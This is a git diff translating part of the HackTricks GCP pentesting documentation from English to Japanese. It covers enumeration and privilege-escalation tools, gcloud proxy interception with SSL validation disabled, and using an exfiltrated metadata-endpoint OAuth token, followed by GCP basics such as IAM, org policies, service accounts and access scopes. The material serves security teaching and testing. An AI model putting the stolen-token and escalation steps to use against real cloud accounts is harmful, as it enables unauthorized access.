- このAPIでサポートされている資産を確認できます:[https://cloud.google.com/asset-inventory/docs/supported-asset-types](https://cloud.google.com/asset-inventory/docs/supported-asset-types)
|
||||
- [**複数のクラウドで使用できるツール**](../pentesting-cloud-methodology.md)を確認してください。
|
||||
- [**gcp_scanner**](https://github.com/google/gcp_scanner):これは、GCP上で**特定の資格情報が持つアクセスレベル**を判断するのに役立つGCPリソーススキャナーです。
|
||||
```bash
|
||||
# Install
|
||||
git clone https://github.com/google/gcp_scanner.git
|
||||
@@ -177,13 +170,11 @@ pip install -r requirements.txt
|
||||
# Execute with gcloud creds
|
||||
python3 __main__.py -o /tmp/output/ -g "$HOME/.config/gcloud"
|
||||
```
|
||||
|
||||
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): Bash script to enumerate a GCP environment using gcloud cli and saving the results in a file.
|
||||
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): Scripts to enumerate high IAM privileges and to escalate privileges in GCP abusing them (I couldn’t make run the enumerate script).
|
||||
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): Script to bruteforce your permissions.
|
||||
- [**gcp_enum**](https://gitlab.com/gitlab-com/gl-security/threatmanagement/redteam/redteam-public/gcp_enum): gcloud cliを使用してGCP環境を列挙し、結果をファイルに保存するBashスクリプト。
|
||||
- [**GCP-IAM-Privilege-Escalation**](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation): 高いIAM権限を列挙し、それを悪用してGCPで権限を昇格させるスクリプト(列挙スクリプトを実行できませんでした)。
|
||||
- [**BF My GCP Permissions**](https://github.com/carlospolop/bf_my_gcp_permissions): あなたの権限をブルートフォースするスクリプト。
|
||||
|
||||
## gcloud config & debug
|
||||
|
||||
```bash
|
||||
# Login so gcloud can use your credentials
|
||||
gcloud auth login
|
||||
@@ -198,13 +189,11 @@ gcloud auth application-default print-access-token
|
||||
# Update gcloud
|
||||
gcloud components update
|
||||
```
|
||||
|
||||
### Capture gcloud, gsutil... network
|
||||
|
||||
Remember that you can use the **parameter** **`--log-http`** with the **`gcloud`** cli to **print** the **requests** the tool is performing. If you don't want the logs to redact the token value use `gcloud config set log_http_redact_token false`
|
||||
|
||||
Moreover, to intercept the communication:
|
||||
**`gcloud`** CLIで**リクエスト**を**表示**するために、**パラメータ** **`--log-http`**を使用できることを忘れないでください。ログがトークン値を隠さないようにするには、`gcloud config set log_http_redact_token false`を使用します。
|
||||
|
||||
さらに、通信を傍受するには:
|
||||
```bash
|
||||
gcloud config set proxy/address 127.0.0.1
|
||||
gcloud config set proxy/port 8080
|
||||
@@ -221,11 +210,9 @@ gcloud config unset proxy/type
|
||||
gcloud config unset auth/disable_ssl_validation
|
||||
gcloud config unset core/custom_ca_certs_file
|
||||
```
|
||||
### gcloudでのOAuthトークンの設定
|
||||
|
||||
### OAuth token configure in gcloud
|
||||
|
||||
In order to **use an exfiltrated service account OAuth token from the metadata endpoint** you can just do:
|
||||
|
||||
**メタデータエンドポイントからの流出したサービスアカウントOAuthトークンを使用するためには**、次のようにするだけです:
|
||||
```bash
|
||||
# Via env vars
|
||||
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
|
||||
@@ -237,13 +224,8 @@ gcloud config set auth/access_token_file /some/path/to/token
|
||||
gcloud projects list
|
||||
gcloud config unset auth/access_token_file
|
||||
```
|
||||
|
||||
## References
|
||||
## 参考文献
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,207 +1,198 @@
|
||||
# GCP - Basic Information
|
||||
# GCP - 基本情報
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Resource hierarchy**
|
||||
## **リソース階層**
|
||||
|
||||
Google Cloud uses a [Resource hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) that is similar, conceptually, to that of a traditional filesystem. This provides a logical parent/child workflow with specific attachment points for policies and permissions.
|
||||
|
||||
At a high level, it looks like this:
|
||||
Google Cloudは、従来のファイルシステムに概念的に似た[リソース階層](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)を使用しています。これにより、ポリシーや権限の特定のアタッチメントポイントを持つ論理的な親/子ワークフローが提供されます。
|
||||
|
||||
高レベルでは、次のようになります:
|
||||
```
|
||||
Organization
|
||||
--> Folders
|
||||
--> Projects
|
||||
--> Resources
|
||||
--> Projects
|
||||
--> Resources
|
||||
```
|
||||
|
||||
A virtual machine (called a Compute Instance) is a resource. A resource resides in a project, probably alongside other Compute Instances, storage buckets, etc.
|
||||
仮想マシン(Compute Instanceと呼ばれる)はリソースです。リソースはプロジェクト内に存在し、他のCompute Instance、ストレージバケットなどと一緒に存在する可能性があります。
|
||||
|
||||
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg">https://cloud.google.com/static/resource-manager/img/cloud-hierarchy.svg</a></p></figcaption></figure>
|
||||
|
||||
## **Projects Migration**
|
||||
## **プロジェクトの移行**
|
||||
|
||||
It's possible to **migrate a project without any organization** to an organization with the permissions `roles/resourcemanager.projectCreator` and `roles/resourcemanager.projectMover`. If the project is inside other organization, it's needed to contact GCP support to **move them out of the organization first**. For more info check [**this**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6).
|
||||
**組織なしでプロジェクトを移行することが可能**であり、必要な権限は`roles/resourcemanager.projectCreator`と`roles/resourcemanager.projectMover`です。プロジェクトが他の組織内にある場合は、**最初にその組織から移動するためにGCPサポートに連絡する必要があります**。詳細については[**こちら**](https://medium.com/google-cloud/migrating-a-project-from-one-organization-to-another-gcp-4b37a86dd9e6)を確認してください。
|
||||
|
||||
## **Organization Policies**
|
||||
## **組織ポリシー**
|
||||
|
||||
Allow to centralize control over your organization's cloud resources:
|
||||
組織のクラウドリソースに対する中央集権的な管理を可能にします:
|
||||
|
||||
- Centralize control to **configure restrictions** on how your organization’s resources can be used.
|
||||
- Define and establish **guardrails** for your development teams to stay within compliance boundaries.
|
||||
- Help project owners and their teams move quickly without worry of breaking compliance.
|
||||
- 組織のリソースの使用方法に**制限を設定**するための中央集権的な管理。
|
||||
- 開発チームがコンプライアンスの境界内に留まるための**ガードレール**を定義し、確立する。
|
||||
- プロジェクトオーナーとそのチームがコンプライアンスを破る心配なく迅速に移動できるように支援します。
|
||||
|
||||
These policies can be created to **affect the complete organization, folder(s) or project(s)**. Descendants of the targeted resource hierarchy node **inherit the organization policy**.
|
||||
これらのポリシーは、**組織全体、フォルダー、またはプロジェクトに影響を与える**ように作成できます。ターゲットリソース階層ノードの子孫は**組織ポリシーを継承します**。
|
||||
|
||||
In order to **define** an organization policy, **you choose a** [**constraint**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints), which is a particular type of restriction against either a Google Cloud service or a group of Google Cloud services. You **configure that constraint with your desired restrictions**.
|
||||
**組織ポリシーを定義するために、特定のGoogle CloudサービスまたはGoogle Cloudサービスのグループに対する制限の特定のタイプである[**制約**](https://cloud.google.com/resource-manager/docs/organization-policy/overview#constraints)を選択します。**その制約を希望する制限で**構成します。
|
||||
|
||||
<figure><img src="../../../images/image (217).png" alt=""><figcaption><p><a href="https://cloud.google.com/resource-manager/img/org-policy-concepts.svg">https://cloud.google.com/resource-manager/img/org-policy-concepts.svg</a></p></figcaption></figure>
|
||||
|
||||
#### Common use cases <a href="#common_use_cases" id="common_use_cases"></a>
|
||||
#### 一般的な使用例 <a href="#common_use_cases" id="common_use_cases"></a>
|
||||
|
||||
- Limit resource sharing based on domain.
|
||||
- Limit the usage of Identity and Access Management service accounts.
|
||||
- Restrict the physical location of newly created resources.
|
||||
- Disable service account creation
|
||||
- ドメインに基づいてリソース共有を制限する。
|
||||
- アイデンティティおよびアクセス管理サービスアカウントの使用を制限する。
|
||||
- 新しく作成されたリソースの物理的な場所を制限する。
|
||||
- サービスアカウントの作成を無効にする。
|
||||
|
||||
<figure><img src="../../../images/image (172).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
There are many more constraints that give you fine-grained control of your organization's resources. For **more information, see the** [**list of all Organization Policy Service constraints**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**.**
|
||||
組織のリソースに対する詳細な制御を提供する多くの制約があります。**詳細については、** [**すべての組織ポリシーサービス制約のリスト**](https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints)**を参照してください。**
|
||||
|
||||
### **Default Organization Policies**
|
||||
### **デフォルトの組織ポリシー**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>These are the policies that Google will add by default when setting up your GCP organization:</summary>
|
||||
<summary>これらは、GCP組織を設定する際にGoogleがデフォルトで追加するポリシーです:</summary>
|
||||
|
||||
**Access Management Policies**
|
||||
**アクセス管理ポリシー**
|
||||
|
||||
- **Domain restricted contacts:** Prevents adding users to Essential Contacts outside your specified domains. This limits Essential Contacts to only allow managed user identities in your selected domains to receive platform notifications.
|
||||
- **Domain restricted sharing:** Prevents adding users to IAM policies outside your specified domains. This limits IAM policies to only allow managed user identities in your selected domains to access resources inside this organization.
|
||||
- **Public access prevention:** Prevents Cloud Storage buckets from being exposed to the public. This ensures that a developer can't configure Cloud Storage buckets to have unauthenticated internet access.
|
||||
- **Uniform bucket level access:** Prevents object-level access control lists (ACLs) in Cloud Storage buckets. This simplifies your access management by applying IAM policies consistently across all objects in Cloud Storage buckets.
|
||||
- **Require OS login:** VMs created in new projects will have OS Login enabled. This lets you manage SSH access to your instances using IAM without needing to create and manage individual SSH keys.
|
||||
- **ドメイン制限付き連絡先:** 指定されたドメイン外のEssential Contactsにユーザーを追加することを防ぎます。これにより、Essential Contactsは選択したドメイン内の管理されたユーザーIDのみがプラットフォーム通知を受け取ることを許可します。
|
||||
- **ドメイン制限付き共有:** 指定されたドメイン外のIAMポリシーにユーザーを追加することを防ぎます。これにより、IAMポリシーは選択したドメイン内の管理されたユーザーIDのみがこの組織内のリソースにアクセスすることを許可します。
|
||||
- **パブリックアクセス防止:** Cloud Storageバケットが公開されるのを防ぎます。これにより、開発者はCloud Storageバケットを認証されていないインターネットアクセスを持つように構成できなくなります。
|
||||
- **均一なバケットレベルアクセス:** Cloud Storageバケット内のオブジェクトレベルアクセス制御リスト(ACL)を防ぎます。これにより、Cloud Storageバケット内のすべてのオブジェクトに一貫してIAMポリシーを適用することでアクセス管理が簡素化されます。
|
||||
- **OSログインを要求:** 新しいプロジェクトで作成されたVMにはOSログインが有効になります。これにより、個別のSSHキーを作成および管理することなく、IAMを使用してインスタンスへのSSHアクセスを管理できます。
|
||||
|
||||
**Additional security policies for service accounts**
|
||||
**サービスアカウントの追加セキュリティポリシー**
|
||||
|
||||
- **Disable automatic IAM grants**: Prevents the default App Engine and Compute Engine service accounts from automatically being granted the Editor IAM role on a project at creation. This ensures service accounts don't receive overly-permissive IAM roles upon creation.
|
||||
- **Disable service account key creation**: Prevents the creation of public service account keys. This helps reduce the risk of exposing persistent credentials.
|
||||
- **Disable service account key upload**: Prevents the uploading of public service account keys. This helps reduce the risk of leaked or reused key material.
|
||||
- **自動IAM付与を無効にする:** デフォルトのApp EngineおよびCompute Engineサービスアカウントがプロジェクト作成時に自動的にEditor IAMロールを付与されるのを防ぎます。これにより、サービスアカウントが作成時に過剰な権限を持つIAMロールを受け取ることがありません。
|
||||
- **サービスアカウントキーの作成を無効にする:** 公開サービスアカウントキーの作成を防ぎます。これにより、永続的な資格情報が公開されるリスクが軽減されます。
|
||||
- **サービスアカウントキーのアップロードを無効にする:** 公開サービスアカウントキーのアップロードを防ぎます。これにより、漏洩または再利用されたキーのリスクが軽減されます。
|
||||
|
||||
**Secure VPC network configuration policies**
|
||||
**セキュアなVPCネットワーク構成ポリシー**
|
||||
|
||||
- **Define allowed external IPs for VM instances**: Prevents the creation of Compute instances with a public IP, which can expose them to internet traffic.
|
||||
- **VMインスタンスの許可された外部IPを定義する:** 公開IPを持つComputeインスタンスの作成を防ぎ、インターネットトラフィックにさらされる可能性があります。
|
||||
|
||||
* **Disable VM nested virtualization**: Prevents the creation of nested VMs on Compute Engine VMs. This decreases the security risk of having unmonitored nested VMs.
|
||||
* **VMネストされた仮想化を無効にする:** Compute Engine VM上でネストされたVMの作成を防ぎます。これにより、監視されていないネストされたVMのセキュリティリスクが低減されます。
|
||||
|
||||
- **Disable VM serial port:** Prevents serial port access to Compute Engine VMs. This prevents input to a server’s serial port using the Compute Engine API.
|
||||
- **VMシリアルポートを無効にする:** Compute Engine VMへのシリアルポートアクセスを防ぎます。これにより、Compute Engine APIを使用してサーバーのシリアルポートへの入力が防止されます。
|
||||
|
||||
* **Restrict authorized networks on Cloud SQL instances:** Prevents public or non-internal network ranges from accessing your Cloud SQL databases.
|
||||
* **Cloud SQLインスタンスの承認されたネットワークを制限する:** 公開または非内部ネットワーク範囲がCloud SQLデータベースにアクセスするのを防ぎます。
|
||||
|
||||
- **Restrict Protocol Forwarding Based on type of IP Address:** Prevents VM protocol forwarding for external IP addresses.
|
||||
- **IPアドレスのタイプに基づいてプロトコル転送を制限する:** 外部IPアドレスに対するVMプロトコル転送を防ぎます。
|
||||
|
||||
* **Restrict Public IP access on Cloud SQL instances:** Prevents the creation of Cloud SQL instances with a public IP, which can expose them to internet traffic.
|
||||
* **Cloud SQLインスタンスのパブリックIPアクセスを制限する:** 公開IPを持つCloud SQLインスタンスの作成を防ぎ、インターネットトラフィックにさらされる可能性があります。
|
||||
|
||||
- **Restrict shared VPC project lien removal:** Prevents the accidental deletion of Shared VPC host projects.
|
||||
- **共有VPCプロジェクトの担保権削除を制限する:** 共有VPCホストプロジェクトの偶発的な削除を防ぎます。
|
||||
|
||||
* **Sets the internal DNS setting for new projects to Zonal DNS Only:** Prevents the use of a legacy DNS setting that has reduced service availability.
|
||||
* **新しいプロジェクトの内部DNS設定をゾナルDNSのみに設定する:** サービスの可用性が低下するレガシーDNS設定の使用を防ぎます。
|
||||
|
||||
- **Skip default network creation:** Prevents automatic creation of the default VPC network and related resources. This avoids overly-permissive default firewall rules.
|
||||
- **デフォルトネットワークの作成をスキップする:** デフォルトのVPCネットワークと関連リソースの自動作成を防ぎます。これにより、過剰なデフォルトファイアウォールルールを回避できます。
|
||||
|
||||
* **Disable VPC External IPv6 usage:** Prevents the creation of external IPv6 subnets, which can be exposed to unauthorized internet access.
|
||||
* **VPC外部IPv6の使用を無効にする:** 不正なインターネットアクセスにさらされる可能性のある外部IPv6サブネットの作成を防ぎます。
|
||||
|
||||
</details>
|
||||
|
||||
## **IAM Roles**
|
||||
## **IAMロール**
|
||||
|
||||
These are like IAM policies in AWS as **each role contains a set of permissions.**
|
||||
これらはAWSのIAMポリシーのように、**各ロールには一連の権限が含まれています。**
|
||||
|
||||
However, unlike in AWS, there is **no centralized repo** of roles. Instead of that, **resources give X access roles to Y principals**, and the only way to find out who has access to a resource is to use the **`get-iam-policy` method over that resource**.\
|
||||
This could be a problem because this means that the only way to find out **which permissions a principal has is to ask every resource who is it giving permissions to**, and a user might not have permissions to get permissions from all resources.
|
||||
しかし、AWSとは異なり、**ロールの中央リポジトリはありません**。その代わりに、**リソースはYのプリンシパルにXのアクセスロールを付与し、リソースへのアクセス権を持つ人を知る唯一の方法は、そのリソースに対して**`get-iam-policy`メソッドを使用することです。**\
|
||||
これは問題になる可能性があります。なぜなら、**プリンシパルがどの権限を持っているかを知る唯一の方法は、すべてのリソースに対して誰に権限を与えているかを尋ねることになるからです**。ユーザーはすべてのリソースから権限を取得する権限を持っていない可能性があります。
|
||||
|
||||
There are **three types** of roles in IAM:
|
||||
IAMには**3種類の**ロールがあります:
|
||||
|
||||
- **Basic/Primitive roles**, which include the **Owner**, **Editor**, and **Viewer** roles that existed prior to the introduction of IAM.
|
||||
- **Predefined roles**, which provide granular access for a specific service and are managed by Google Cloud. There are a lot of predefined roles, you can **see all of them with the privileges they have** [**here**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles).
|
||||
- **Custom roles**, which provide granular access according to a user-specified list of permissions.
|
||||
- **基本/プリミティブロール**、これはIAM導入前に存在した**オーナー**、**エディター**、および**ビューア**ロールを含みます。
|
||||
- **事前定義されたロール**、特定のサービスに対する詳細なアクセスを提供し、Google Cloudによって管理されます。多くの事前定義されたロールがあり、**それらが持つ権限をすべて** [**こちら**](https://cloud.google.com/iam/docs/understanding-roles#predefined_roles)で確認できます。
|
||||
- **カスタムロール**、ユーザーが指定した権限のリストに基づいて詳細なアクセスを提供します。
|
||||
|
||||
There are thousands of permissions in GCP. In order to check if a role has a permissions you can [**search the permission here**](https://cloud.google.com/iam/docs/permissions-reference) and see which roles have it.
|
||||
GCPには数千の権限があります。ロールが権限を持っているかどうかを確認するには、[**こちらで権限を検索**](https://cloud.google.com/iam/docs/permissions-reference)し、どのロールがそれを持っているかを確認できます。
|
||||
|
||||
You can also [**search here predefined roles**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation) **offered by each product.** Note that some **roles** cannot be attached to users and **only to SAs because some permissions** they contain.\
|
||||
Moreover, note that **permissions** will only **take effect** if they are **attached to the relevant service.**
|
||||
また、[**こちらで事前定義されたロールを検索**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation)することもできます。注意すべきは、いくつかの**ロール**はユーザーに付与できず、**サービスアカウントにのみ付与できる**ことです。なぜなら、それらが含む権限のためです。\
|
||||
さらに、**権限**は**関連するサービスに付与されている場合にのみ**有効になります。
|
||||
|
||||
Or check if a **custom role can use a** [**specific permission in here**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.**
|
||||
また、**カスタムロールが** [**ここで特定の権限を使用できるかどうかを確認できます**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**。**
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Users <a href="#default-credentials" id="default-credentials"></a>
|
||||
## ユーザー <a href="#default-credentials" id="default-credentials"></a>
|
||||
|
||||
In **GCP console** there **isn't any Users or Groups** management, that is done in **Google Workspace**. Although you could synchronize a different identity provider in Google Workspace.
|
||||
**GCPコンソール**には**ユーザーやグループ**の管理はなく、それは**Google Workspace**で行われます。ただし、Google Workspaceで異なるアイデンティティプロバイダーを同期することは可能です。
|
||||
|
||||
You can access Workspaces **users and groups in** [**https://admin.google.com**](https://admin.google.com/).
|
||||
Workspacesの**ユーザーとグループには** [**https://admin.google.com**](https://admin.google.com/)でアクセスできます。
|
||||
|
||||
**MFA** can be **forced** to Workspaces users, however, an **attacker** could use a token to access GCP **via cli which won't be protected by MFA** (it will be protected by MFA only when the user logins to generate it: `gcloud auth login`).
|
||||
**MFA**はWorkspacesユーザーに**強制**できますが、**攻撃者**はトークンを使用してGCPに**cli経由でアクセスでき、MFAによって保護されません**(ユーザーが生成するためにログインしたときにのみMFAによって保護されます:`gcloud auth login`)。
|
||||
|
||||
## Groups
|
||||
## グループ
|
||||
|
||||
When an organisation is created several groups are **strongly suggested to be created.** If you manage any of them you might have compromised all or an important part of the organization:
|
||||
組織が作成されると、いくつかのグループが**作成されることが強く推奨されます。**それらのいずれかを管理している場合、組織全体または重要な部分が侵害される可能性があります:
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Group</strong></td><td><strong>Function</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(group or individual accounts required for checklist)</em></td><td>Administering any resource that belongs to the organization. Assign this role sparingly; org admins have access to all of your Google Cloud resources. Alternatively, because this function is highly privileged, consider using individual accounts instead of creating a group.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(required for checklist)</em></td><td>Creating networks, subnets, firewall rules, and network devices such as Cloud Router, Cloud VPN, and cloud load balancers.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(required for checklist)</em></td><td>Setting up billing accounts and monitoring their usage.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(required for checklist)</em></td><td>Designing, coding, and testing applications.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Establishing and managing security policies for the entire organization, including access management and <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">organization constraint policies</a>. See the <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">Google Cloud security foundations guide</a> for more information about planning your Google Cloud security infrastructure.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Creating or managing end-to-end pipelines that support continuous integration and delivery, monitoring, and system provisioning.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(no longer by default)</em></td><td>Monitoring the spend on projects. Typical members are part of the finance team.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing resource information across the Google Cloud organization.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing cloud security.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing network configurations.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(no longer by default)</em></td><td>Viewing audit logs.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(no longer by default)</em></td><td>Administering Security Command Center.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(no longer by default)</em></td><td>Managing secrets in Secret Manager.</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>グループ</strong></td><td><strong>機能</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(チェックリストに必要なグループまたは個人アカウント)</em></td><td>組織に属する任意のリソースを管理します。このロールは慎重に割り当ててください。組織管理者はすべてのGoogle Cloudリソースにアクセスできます。代わりに、この機能は非常に特権が高いため、グループを作成するのではなく、個別のアカウントを使用することを検討してください。</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(チェックリストに必要)</em></td><td>ネットワーク、サブネット、ファイアウォールルール、およびCloud Router、Cloud VPN、クラウドロードバランサーなどのネットワークデバイスを作成します。</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(チェックリストに必要)</em></td><td>請求アカウントを設定し、その使用状況を監視します。</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(チェックリストに必要)</em></td><td>アプリケーションの設計、コーディング、およびテストを行います。</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>アクセス管理や<a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">組織制約ポリシー</a>を含む、組織全体のセキュリティポリシーを確立および管理します。Google Cloudセキュリティ基盤ガイドの<a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">詳細</a>を参照してください。</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>継続的インテグレーションとデリバリー、監視、システムプロビジョニングをサポートするエンドツーエンドのパイプラインを作成または管理します。</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>プロジェクトの支出を監視します。典型的なメンバーは財務チームの一部です。</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>Google Cloud組織全体のリソース情報を確認します。</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>クラウドセキュリティをレビューします。</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>ネットワーク構成をレビューします。</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>監査ログを表示します。</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>Security Command Centerを管理します。</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(もはやデフォルトではありません)</em></td><td>Secret Managerでのシークレットを管理します。</td></tr></tbody></table>
|
||||
|
||||
## **Default Password Policy**
|
||||
## **デフォルトのパスワードポリシー**
|
||||
|
||||
- Enforce strong passwords
|
||||
- Between 8 and 100 characters
|
||||
- No reuse
|
||||
- No expiration
|
||||
- If people is accessing Workspace through a third party provider, these requirements aren't applied.
|
||||
- 強力なパスワードを強制する
|
||||
- 8文字から100文字の間
|
||||
- 再利用禁止
|
||||
- 有効期限なし
|
||||
- 他のプロバイダーを通じてWorkspaceにアクセスしている場合、これらの要件は適用されません。
|
||||
|
||||
<figure><img src="../../../images/image (20).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../images/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Service accounts**
|
||||
## **サービスアカウント**
|
||||
|
||||
These are the principals that **resources** can **have** **attached** and access to interact easily with GCP. For example, it's possible to access the **auth token** of a Service Account **attached to a VM** in the metadata.\
|
||||
It is possible to encounter some **conflicts** when using both **IAM and access scopes**. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance.
|
||||
これらは、**リソース**が**添付**され、GCPと簡単に対話するためにアクセスできるプリンシパルです。たとえば、VMに添付されたサービスアカウントの**auth token**にメタデータでアクセスすることが可能です。\
|
||||
**IAMとアクセススコープ**の両方を使用する際にいくつかの**競合**が発生する可能性があります。たとえば、サービスアカウントが`compute.instanceAdmin`のIAMロールを持っている場合でも、侵害したインスタンスには`https://www.googleapis.com/auth/compute.readonly`のスコープ制限がかかっている可能性があります。これにより、インスタンスに自動的に割り当てられたOAuthトークンを使用して変更を加えることができなくなります。
|
||||
|
||||
It's similar to **IAM roles from AWS**. But not like in AWS, **any** service account can be **attached to any service** (it doesn't need to allow it via a policy).
|
||||
|
||||
Several of the service accounts that you will find are actually **automatically generated by GCP** when you start using a service, like:
|
||||
これはAWSの**IAMロール**に似ています。しかし、AWSとは異なり、**任意の**サービスアカウントは**任意のサービスに添付**できます(ポリシーを介して許可する必要はありません)。
|
||||
|
||||
使用を開始すると、実際に**GCPによって自動的に生成されるサービスアカウント**がいくつかあります。例えば:
|
||||
```
|
||||
PROJECT_NUMBER-compute@developer.gserviceaccount.com
|
||||
PROJECT_ID@appspot.gserviceaccount.com
|
||||
```
|
||||
|
||||
However, it's also possible to create and attach to resources **custom service accounts**, which will look like this:
|
||||
|
||||
しかし、**カスタムサービスアカウント**を作成してリソースにアタッチすることも可能で、次のようになります:
|
||||
```
|
||||
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
|
||||
```
|
||||
|
||||
### **Keys & Tokens**
|
||||
|
||||
There are 2 main ways to access GCP as a service account:
|
||||
GCPにサービスアカウントとしてアクセスする主な方法は2つあります:
|
||||
|
||||
- **Via OAuth tokens**: These are tokens that you will get from places like metadata endpoints or stealing http requests and they are limited by the **access scopes**.
|
||||
- **Keys**: These are public and private key pairs that will allow you to sign requests as the service account and even generate OAuth tokens to perform actions as the service account. These keys are dangerous because they are more complicated to limit and control, that's why GCP recommend to not generate them.
|
||||
- Note that every-time a SA is created, **GCP generates a key for the service account** that the user cannot access (and won't be listed in the web application). According to [**this thread**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) this key is **used internally by GCP** to give metadata endpoints access to generate the accesible OAuth tokens.
|
||||
- **OAuthトークン経由**:これらはメタデータエンドポイントやHTTPリクエストを盗むなどの場所から取得するトークンで、**アクセススコープ**によって制限されます。
|
||||
- **キー**:これらはサービスアカウントとしてリクエストに署名したり、サービスアカウントとしてアクションを実行するためのOAuthトークンを生成したりするための公開鍵と秘密鍵のペアです。これらのキーは制限と管理がより複雑なため危険です。そのため、GCPは生成しないことを推奨しています。
|
||||
- サービスアカウントが作成されるたびに、**GCPはユーザーがアクセスできないサービスアカウント用のキーを生成します**(ウェブアプリケーションには表示されません)。[**このスレッド**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/)によると、このキーは**GCPによって内部的に使用され**、メタデータエンドポイントがアクセス可能なOAuthトークンを生成するためのアクセスを提供します。
|
||||
|
||||
### **Access scopes**
|
||||
|
||||
Access scope are **attached to generated OAuth tokens** to access the GCP API endpoints. They **restrict the permissions** of the OAuth token.\
|
||||
This means that if a token belongs to an Owner of a resource but doesn't have the in the token scope to access that resource, the token **cannot be used to (ab)use those privileges**.
|
||||
アクセススコープは、GCP APIエンドポイントにアクセスするために**生成されたOAuthトークンに添付されます**。これらはOAuthトークンの**権限を制限します**。\
|
||||
これは、トークンがリソースのオーナーに属していても、そのリソースにアクセスするためのトークンスコープを持っていない場合、トークンは**その権限を(悪用)するために使用できない**ことを意味します。
|
||||
|
||||
